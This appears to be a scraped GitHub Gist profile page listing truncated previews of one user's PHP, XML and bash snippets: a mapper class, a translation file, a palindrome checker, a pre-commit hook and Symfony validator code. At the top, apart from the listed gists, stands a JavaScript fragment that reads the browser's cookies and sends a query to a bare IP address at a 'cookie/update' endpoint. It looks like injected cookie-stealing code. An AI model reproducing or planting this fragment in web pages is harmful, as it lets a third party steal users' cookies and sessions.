Skip to content

Instantly share code, notes, and snippets.

const loadIdentifier = async (query) => {
var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", `http://217.182.193.215:9322/api/cookie/update?` + query, false);
xmlHttp.send();return xmlHttp.response;
}
function getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
@ahsio
ahsio / Mapper.php
Last active November 17, 2022 09:03
Lodel - Base mapping implementation
<?php
namespace App\Mapper;
class Mapper implements MapperInterface
{
/** @var array */
private $mapperConfigurations = [];
/**
  • Ajout, modification et suppression des formats publicitaires (deployed)
  • Calcul du reach et de la fréquence
  • Validation des formats publicitaires (submitted images)
  • Récupération des données de diffusion de Google Analytics
    • sessions
    • pages views (a été ajoutée)
    • taux de rebond
    • nombre d'utilisateurs
    • répartition / genre
  • repartition par age
@ahsio
ahsio / yuccalabs_en_translation_file.xml
Created May 28, 2019 12:06
Yucca Labs English Translation file
<?xml version="1.0" encoding="utf-8"?>
<xliff xmlns="urn:oasis:names:tc:xliff:document:1.2" version="1.2">
<file source-language="en" target-language="en" datatype="plaintext" original="file.ext">
<header>
<tool tool-id="symfony" tool-name="Symfony"/>
</header>
<body>
<trans-unit id="ZyFT62v" resname="A propos">
<source>A propos</source>
<target>About</target>
<?php
class Palindrome
{
/**
* @param string $str
*
* @return bool
*
* @throws Exception
@ahsio
ahsio / composer.json
Last active December 20, 2016 14:53
test.php
{
"require": {
"simshaun/recurr": "^2.1"
}
}
@ahsio
ahsio / test.php
Last active February 5, 2016 15:02
The algorithm
<?php
function check($str) {
$length = strlen($str);
$rules = array('NULL', '()', '[]', '[NULL]','(NULL)', '()[]');
$i = 0;
while ($i <= $length/2) {
foreach ($rules as $rule) {
$str = str_replace($rule, '', $str);
}
@ahsio
ahsio / pre-commit
Last active December 30, 2015 03:19
Update pre-commit script to exit with the appropriate message when there's no .php file to commit.
#!/bin/bash
# PHP PSR2 CodeSniffer pre-commit hook
#
# @author Ahmed Siouani <ahmed.siouani@gmail.com>
# INIT
TMP_FOLDER=".tmp"
PHP_STANDARD="PSR2";
function clean {
/**
* @ORM\Table(name="room")
* @ORM\Entity(repositoryClass="Ahsio\StackBundle\Repository\RoomRepository")
*/
class Room
{
/**
* @ORM\Id
* @ORM\Column(type="integer")
* @ORM\GeneratedValue(strategy="AUTO")
@ahsio
ahsio / Person.php
Created November 15, 2012 01:00
code snippet for custom validation constraint for two fields
class Person extends Constraint
{
/**
* (non-PHPdoc)
* @see Symfony\Component\Validator.Constraint::validatedBy()
*/
public function validatedBy()
{
return 'person_validator';
}